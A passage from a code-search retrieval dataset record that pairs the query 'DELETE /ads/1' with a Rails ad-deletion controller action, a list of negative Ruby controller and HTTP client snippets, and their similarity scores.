@docent.update_attributes(params[:docent])\n format.html { redirect_to(@docent, :notice => 'Docent was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @docent.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @ad = Ad.find(params[:id])\n if @ad.update_attributes(ad_params)\n redirect_to @ad\n else\n render 'edit'\n end\n\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def put_document index, id, document\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Put.new(uri)\n req.body = document.to_json\n run(uri, req)\n end", "def update\n @marketing_action = MarketingAction.find(params[:id])\n \n @marketing_action.banner = Banner.find(params[:banner])\n \n @marketing_action.marketing_campaign = @marketing_campaign\n\n respond_to do |format|\n if @marketing_action.update_attributes(params[:marketing_action])\n format.html { redirect_to :action=> 'show', :id => @marketing_action.id, :notice => 'A acao de marketing foi atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @marketing_action.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @advertise.update(advertise_params)\n format.html { redirect_to @advertise, notice: \"Advertise was successfully updated.\" }\n format.json { render :show, status: :ok, location: @advertise }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @advertise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(params = {})\n # set attributes for the \"updated\" ad\n create_attributes = self.attributes.merge(params).symbolize_keys\n create_attributes.delete(:id)\n\n # delete current ad\n return false unless self.destroy\n\n # create new add\n TextAd.create(create_attributes)\n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def update\n fix_tokenized_input_params\n respond_to do |format|\n if @ad.update(ad_params)\n format.html { redirect_to [@ad.org, @ad], notice: 'Ad was successfully updated.' }\n format.json { render :show, status: :ok, location: [@ad.org, @ad] }\n else\n format.html { render :edit }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @advertisment = Advertisment.find(params[:id])\n\n respond_to do |format|\n if @advertisment.update_attributes(params[:advertisment])\n format.html { redirect_to @advertisment, notice: 'Advertisment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advertisment.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, doc = nil, options = {})\n execute('PUT', path, options, doc)\n end", "def update\n respond_to do |format|\n if @advertisement.update(advertisement_params)\n format.html { redirect_to @advertisement, notice: 'Ad was successfully updated.' }\n format.json { render :show, status: :ok, location: @advertisement }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(uri, doc = nil, options = {})\n execute(uri, :put, options, doc)\n end", "def update\n respond_to do |format|\n if @advertisement.update_attributes(params[:advertisement])\n format.html { redirect_to my_advertisements_path, notice: 'Advertisement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end", "def update\n respond_to do |format|\n if @advertise.update(advertise_params)\n format.html { redirect_to @advertise, notice: 'Advertise was successfully updated.' }\n format.json { render :show, status: :ok, location: @advertise }\n else\n format.html { render :edit }\n format.json { render json: @advertise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n connection.put(element_path, to_xml)\n end", "def update_document index, id, document\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}/_update\")\n req = Net::HTTP::Post.new(uri)\n req.body = { \"doc\": document }.to_json\n run(uri, req)\n end", "def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end", "def update\n\trespond_to do |format|\n\t if @ad.update(ad_params)\n\t\tformat.html { redirect_to ad_path(@ad), notice: 'Ad was successfully updated.' }\n\t\tformat.json { render :show, status: :ok, location: @ad }\n\t else\n\t\tformat.html { render :edit }\n\t\tformat.json { render json: @ad.errors, status: :unprocessable_entity }\n\t end\n\tend\n end", "def put_update(options = {})\n options[:id] ||= @website.id\n options[:website] ||= @attributes\n\n put :update,options\n end", "def update\n @advertisement.state = \"published\"\n respond_to do |format|\n if @advertisement.save\n format.html { redirect_to @advertisement, notice: 'Advertisement was successfully updated.' }\n format.json { render :show, status: :ok, location: @advertisement }\n else\n format.html { render :edit }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_advert\n @advert = Advert.find(params[:id])\n end", "def set_advert\n @advert = Advert.find(params[:id])\n end", "def update\n @banner = Banner.find(params[:id])\n\n respond_to do |format|\n if @banner.update_attributes(params[:banner])\n format.html { redirect_to(admin_banners_url, :notice => 'Banner Atualizado com Sucesso') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @banner.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def update\n respond_to do |format|\n if @advertiser.update(advertiser_params)\n @advertiser.address.update(address_params)\n format.html { redirect_to @advertiser, notice: 'Advertiser was successfully updated.' }\n format.json { render :show, status: :ok, location: @advertiser }\n else\n format.html { render :edit }\n format.json { render json: @advertiser.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @agencyfeed.update! agencyfeed_params\n render :show, status: :ok\n end", "def set_ad\n\t@ad = Ad.find(params[:id])\n end", "def update\n @adjunto = Adjunto.find(params[:id])\n\n respond_to do |format|\n if @adjunto.update_attributes(params[:adjunto])\n format.html { redirect_to(@adjunto, :notice => 'Adjunto was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @adjunto.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @avance = Avance.find(params[:id])\n\n respond_to do |format|\n if @avance.update_attributes(params[:avance])\n format.html { redirect_to(@avance, :notice => 'Avance was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @avance.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @nad = Nad.find(params[:id])\n\n respond_to do |format|\n if @nad.update_attributes(params[:nad])\n format.html { redirect_to(@nad, :notice => 'Nad was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @nad.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @doc = Doc.find(params[:id])\n \n respond_to do |format|\n if @doc.update_attributes(params[:doc])\n save_object_relationship\n format.html { redirect_to(@doc, :notice => 'Doc was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @doc.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @ad_type = AdType.find(params[:id])\n\n respond_to do |format|\n if @ad_type.update_attributes(params[:ad_type])\n format.html { redirect_to @ad_type, notice: 'Ad type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ad_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_ad\n @ad = Ad.find(params[:id])\n end", "def destroy\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to(ads_url) }\n format.xml { head :ok }\n end\n end", "def set_advert1\n @advert1 = Advert1.find(params[:id])\n end", "def update\n @aauto = Aauto.find(params[:id])\n\n respond_to do |format|\n if @aauto.update_attributes(params[:aauto])\n format.html { redirect_to(@aauto, :notice => 'Aauto was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @aauto.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @adss.update(adss_params)\n format.html { redirect_to @adss}\n format.json { render :show, status: :ok, location: @adss }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @adss.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @advocacy = Advocacy.find(params[:id])\n\n respond_to do |format|\n if @advocacy.update_attributes(params[:advocacy])\n format.html { redirect_to @advocacy, notice: 'Advocacy was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advocacy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sa = Sa.find(params[:id])\n\n respond_to do |format|\n if @sa.update_attributes(params[:sa])\n format.html { redirect_to(@sa, :notice => 'Sa was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sa.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @auto = Auto.find(params[:id])\n\n respond_to do |format|\n if @auto.update_attributes(params[:auto])\n format.html { redirect_to(@auto, :notice => 'Auto was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @auto.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @audience = Audience.find(params[:id])\n\n respond_to do |format|\n if @audience.update_attributes(params[:audience])\n format.html { redirect_to @audience, notice: 'Audience was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @audience.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end", "def set_advert\n @advert = Advert.find(params[:id])\n end", "def set_advert\n @advert = Advert.find(params[:id])\n end", "def set_advert\n @advert = Advert.find(params[:id])\n end", "def set_advert\n @advert = Advert.find(params[:id])\n end", "def set_advert\n @advert = Advert.find(params[:id])\n end", "def set_advert\n @advert = Advert.find(params[:id])\n end", "def set_advert\n @advert = Advert.find(params[:id])\n end", "def update\n respond_to do |wants|\n if @banner.update_attributes(params[:banner])\n flash[:notice] = 'Страница сохранена.'\n wants.html { redirect_to(admin_banners_url) }\n wants.xml { head :ok }\n else\n wants.html { render :action => \"edit\" }\n wants.xml { render :xml => @banner.errors, :status => :unprocessable_entity }\n end\n end\n end", "def save\n validate\n\n if @id\n raise TwitterAds::NotFound.new(nil, 'Method PUT not allowed.', 404)\n else\n super\n end\n end", "def update_rest\n @entry_answer = EntryAnswer.find(params[:id])\n\n respond_to do |format|\n if @entry_answer.update_attributes(params[:entry_answer])\n flash[:notice] = 'EntryAnswer was successfully updated.'\n format.html { redirect_to(@entry_answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_answer.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(*args)\n request :put, *args\n end", "def update\n @audio_file = AudioFile.find(params[:id])\n\n respond_to do |format|\n if @audio_file.update_attributes(params[:audio_file])\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.xml { render :xml => @audio_file.errors, :status => :unprocessable_entity }\n format.json { render :json => @audio_file.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.6861055", "0.6582346", "0.6339055", "0.61574143", "0.6061955", "0.59721386", "0.59676737", "0.5953461", "0.58593136", "0.58588886", "0.5840107", "0.5836505", "0.58318263", "0.5789399", "0.5782702", "0.577271", "0.577271", "0.57463974", "0.5713168", "0.5707409", "0.56424916", "0.5610688", "0.5608202", "0.5607411", "0.5607269", "0.5607269", "0.5607269", "0.56064093", "0.56038004", "0.55978173", "0.5557582", "0.5553933", "0.5527284", "0.551984", "0.5511297", "0.5506879", "0.55031013", "0.5495335", "0.5495335", "0.5495335", "0.549296", "0.54863185", "0.54834706", "0.54692787", "0.5441947", "0.5436366", "0.5434754", "0.542852", "0.54068756", "0.5405842", "0.54007083", "0.53927267", "0.5389875", "0.5384032", "0.5379741", "0.53775764", "0.53771776", "0.5361751", "0.535611", "0.53499436", "0.5312928", "0.53119445", "0.5307395", "0.53042793", "0.5299691", "0.5298506", "0.52968955", "0.52968955", "0.52836865", "0.52816784", "0.52809054", "0.52807325", "0.5275418", "0.5271429", "0.52648", "0.5264524", "0.52622706", "0.52579594", "0.5253344", "0.5253143", "0.52485704", "0.5246534", "0.52462596", "0.52317226", "0.5228528", "0.522127", "0.5220672", "0.5219112", "0.521696", "0.521696", "0.521696", "0.521696", "0.521696", "0.521696", "0.521696", "0.52162457", "0.5215471", "0.5208981", "0.52079403", "0.5204497" ]
0.6127757
4
DELETE /ads/1 DELETE /ads/1.xml
def destroy @ad = Ad.find(params[:id]) @ad.destroy respond_to do |format| format.html { redirect_to(ads_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to(ads_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to ads_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to ads_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to ads_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @advert = Advert.find(params[:id])\n @advert.destroy\n\n respond_to do |format|\n format.html { redirect_to(adverts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n id = params[:id]\n src = Tagaly3::SRC\n # Code to connect with API\n @uri = URI.parse(src)\n http = Net::HTTP.start(@uri.host,@uri.port)\n request = Net::HTTP::Delete.new(\"/adexchange/advertiser/advertisement/#{id}\")\n response = http.request(request)\n http.finish\n redirect_to '/ads/'\n end", "def destroy\n @ad = Ad.find_by_slug(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to(ads_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @advertise = Advertise.find(params[:id])\n @advertise.destroy\n\n respond_to do |format|\n format.html { redirect_to(advertises_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @advert = Advert.find(params[:id])\n @advert.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_adverts_url, :notice => 'Advert was deleted') }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def delete\n eadid = (params[\"eadid\"] || \"\").strip\n if eadid == \"\"\n log_error(\"Cannot delete EAD. No ID was provided.\")\n flash[:alert] = \"No EAD ID was provided.\"\n redirect_to upload_list_url()\n return\n end\n\n filename = ENV[\"EAD_XML_PENDING_FILES_PATH\"] + \"/\" + eadid + \".xml\"\n if !File.exist?(filename)\n log_error(\"Cannot delete EAD. File was not found: #{filename}\")\n flash[:alert] = \"Source file not found for finding aid: #{eadid}.\"\n redirect_to upload_list_url()\n return\n end\n\n target = ENV[\"EAD_XML_DELETED_FILES_PATH\"] + \"/\" + eadid + \".xml\"\n FileUtils.mv(filename, target)\n\n if !File.exist?(target)\n log_error(\"File delete failed: #{filename}\")\n flash[:alert] = \"Could not delete finding aid #{eadid}.\"\n redirect_to upload_list_url()\n return\n end\n\n Rails.logger.info(\"Findind aid #{eadid} has been deleted\")\n flash[:notice] = \"Findind aid #{eadid} has been deleted\"\n redirect_to upload_list_url()\n rescue => ex\n render_error(\"delete\", ex, current_user)\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def deleteFlatpackAds( flatpack_id, adblock, serpAds, serpAdsBottom, bdpAds)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n params['adblock'] = adblock\n params['serpAds'] = serpAds\n params['serpAdsBottom'] = serpAdsBottom\n params['bdpAds'] = bdpAds\n return doCurl(\"delete\",\"/flatpack/ads\",params)\n end", "def destroy\n @home_indices_ad = Home::Indices::Ad.find(params[:id])\n @home_indices_ad.destroy\n\n respond_to do |format|\n format.html { redirect_to home_indices_ads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n Ad.find(params[:id]).destroy\n redirect_to ads_url\n end", "def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end", "def destroy\n @nad = Nad.find(params[:id])\n @nad.destroy\n\n respond_to do |format|\n format.html { redirect_to(nads_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ad.destroy\n end", "def destroy\n @advertisement = Advertisement.find(params[:id])\n #if File.exists?(\"#{Rails.root}/#{@advertisement.filename}\")\n #File.delete(\"#{@advertisement.filename}\")\n #end\n @advertisement.destroy\n\n respond_to do |format|\n format.html { redirect_to advertisements_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def delete_by_id id, opts = {}\n update opts.merge(:data => xml.delete_by_id(id))\n end", "def destroy\n @advertiser = Advertiser.find(params[:id])\n @advertiser.destroy\n\n respond_to do |format|\n format.html { redirect_to advertisers_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to ads_url }\n format.json { head :no_content }\n end\n end", "def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def deleteEntityAdvertiser( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/advertiser\",params)\n end", "def delete(id)\r\n connection.delete(\"/#{@doctype}[@ino:id=#{id}]\")\r\n end", "def destroy\n @advert = Advert.find(params[:id])\n @advert.destroy\n\n respond_to do |format|\n format.html { redirect_to adverts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @advert = Advert.find(params[:id])\n @advert.destroy\n\n respond_to do |format|\n format.html { redirect_to adverts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @adjunto = Adjunto.find(params[:id])\n @adjunto.destroy\n\n respond_to do |format|\n format.html { redirect_to(adjuntos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n\t\t@ad = Ad.includes({:ad_group => :campaign}, :ad_type).where(\"campaigns.account_id = ?\", @auth_user.account_id).find(params[:id])\n\t\[email protected]_account_id = @auth_user.account_id\n\t\[email protected]_attributes({:enabled => false, :deleted_at => Time.now})\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(ads_url) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend", "def destroy\n @adss.destroy\n respond_to do |format|\n format.html { redirect_to adsses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @advert.destroy\n respond_to do |format|\n format.html { redirect_to adverts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\nrender json: 1\n end", "def destroy\n @advert = @advert_class.find(params[:id])\n @advert.destroy\n\n respond_to do |format|\n format.html { redirect_to adverts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @actividad = Actividad.find(params[:id])\n @actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to(actividads_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @docent = Docent.find(params[:id])\n @docent.destroy\n\n respond_to do |format|\n format.html { redirect_to(docents_url) }\n format.xml { head :ok }\n end\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def destroy\n @adsize = Adsize.find(params[:id])\n @adsize.destroy\n\n respond_to do |format|\n format.html { redirect_to(:action => 'index') and return }\n format.xml { head :ok }\n end\n end", "def destroy\n @banner = Banner.find(params[:id])\n @banner.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_banners_url, :notice => 'Banner Deletado com Sucesso') }\n format.xml { head :ok }\n end\n end", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def destroy\n @adqui = Adqui.find(params[:id])\n @adqui.destroy\n\n respond_to do |format|\n format.html { redirect_to(adquis_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @advert1.destroy\n respond_to do |format|\n format.html { redirect_to advert1s_url, notice: 'Advert1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy \n Link.connection.execute(\"delete from links where id in (#{params[:id].join(',')})\") unless params[:id].blank?\n respond_to do |format|\n format.html { redirect_to(links_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n # @advertisement = Advertisement.find(params[:id])\n @advertisement.destroy\n respond_to do |format|\n format.html { redirect_to advertisements_url }\n format.json { head :ok }\n end\n end", "def destroy\n @advertisement = Advertisement.find(params[:id])\n @advertisement.destroy\n\n respond_to do |format|\n format.html { redirect_to advertisements_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ad.destroy\n respond_to do |format|\n format.html { redirect_to org_ads_url(@ad.org), notice: 'Ad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ad.destroy\n respond_to do |format|\n format.html { redirect_to ads_path, notice: 'Quảng cáo đã được xóa.' }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def destroy\n @cargapp_ad.destroy \n end", "def destroy\n @atest = Atest.find(params[:id])\n @atest.destroy\n\n respond_to do |format|\n format.html { redirect_to(atests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @auto = Auto.find(params[:id])\n @auto.destroy\n\n respond_to do |format|\n format.html { redirect_to(autos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @lead = Salesforce::Lead.find(params[:id])\n @lead.destroy\n\n respond_to do |format|\n format.html { redirect_to(salesforce_leads_url) }\n format.xml { head :ok }\n end\n end", "def delete_document index, id\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Delete.new(uri)\n run(uri, req)\n end", "def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def destroy\n @lead = Lead.find(params[:id])\n @lead.destroy\n\n respond_to do |format|\n format.html { redirect_to(leads_url) }\n format.xml { head :ok }\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @acre = Acre.find(params[:id])\n @acre.destroy\n\n respond_to do |format|\n format.html { redirect_to(acres_url) }\n format.xml { head :ok }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def delete\n @client.delete_document(@path)\n end", "def destroy\n @ad.destroy\n respond_to do |format|\n format.html { redirect_to ads_url, notice: 'Ad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ad.destroy\n respond_to do |format|\n format.html { redirect_to ads_url, notice: 'Ad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ad.destroy\n respond_to do |format|\n format.html { redirect_to ads_url, notice: 'Ad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ad.destroy\n respond_to do |format|\n format.html { redirect_to ads_url, notice: \"Ad was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @banner.destroy\n\n respond_to do |wants|\n wants.html { redirect_to(admin_banners_url) }\n wants.xml { head :ok }\n end\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def destroy\n\[email protected]\n\trespond_to do |format|\n\t format.html { redirect_to ads_url, notice: 'Ad was successfully destroyed.' }\n\t format.json { head :no_content }\n\tend\n end", "def destroy\n @bdig = Bdig.find(params[:id])\n @bdig.destroy\n\n respond_to do |format|\n format.html { redirect_to(bdigs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @avance = Avance.find(params[:id])\n @avance.destroy\n\n respond_to do |format|\n format.html { redirect_to(avances_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @doc = Doc.find(params[:id])\n @doc.destroy\n\n respond_to do |format|\n format.html { redirect_to(docs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @doc = Doc.find(params[:id])\n @doc.destroy\n\n respond_to do |format|\n format.html { redirect_to(docs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @advert.destroy\n respond_to do |format|\n format.html { redirect_to admin_adverts_url, notice: 'Advert was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n request(:delete)\n end", "def destroy\n @advert.destroy\n respond_to do |format|\n format.html { redirect_to adverts_url, notice: 'Advert was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @advert.destroy\n respond_to do |format|\n format.html { redirect_to adverts_url, notice: 'Advert was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @advert.destroy\n respond_to do |format|\n format.html { redirect_to adverts_url, notice: 'Advert was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @advertise.destroy\n respond_to do |format|\n format.html { redirect_to advertises_url, notice: 'Advertise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end", "def destroy\n @adoption_contact = AdoptionContact.find(params[:id])\n @adoption_contact.destroy\n\n respond_to do |format|\n format.html { redirect_to(adoption_contacts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @advertise.destroy\n respond_to do |format|\n format.html { redirect_to advertises_url, notice: \"Advertise was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def destroy\n @aauto = Aauto.find(params[:id])\n @aauto.destroy\n\n respond_to do |format|\n format.html { redirect_to(aautos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { render :action => :admin_dash, :id => 1, :uuid => @uuid }\n format.json { head :no_content }\n end\n end", "def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end", "def destroy\n @ad.destroy\n respond_to do |format|\n format.html { redirect_to ads_url, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n api_client.delete(url)\n end", "def destroy\n @sa = Sa.find(params[:id])\n @sa.destroy\n\n respond_to do |format|\n format.html { redirect_to(sas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @aplicacion = Aplicacion.find(params[:id])\n @aplicacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(aplicacions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @envelope = Envelope.find(params[:id])\n @envelope.destroy\n\n respond_to do |format|\n format.html { redirect_to(envelopes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @aisle = Aisle.find(params[:id])\n @aisle.destroy\n\n respond_to do |format|\n format.html { redirect_to(aisles_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @banner = Banner.find(params[:id])\n @banner.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_banners_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @site_banner = SiteBanner.find(params[:id])\n @site_banner.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_site_banners_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @advertisement.destroy\n respond_to do |format|\n format.html { redirect_to advertisements_url, notice: 'Ad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @aadt = Aadt.find(params[:id])\n @aadt.destroy\n\n respond_to do |format|\n format.html { redirect_to aadts_url }\n format.json { head :no_content }\n end\n end" ]
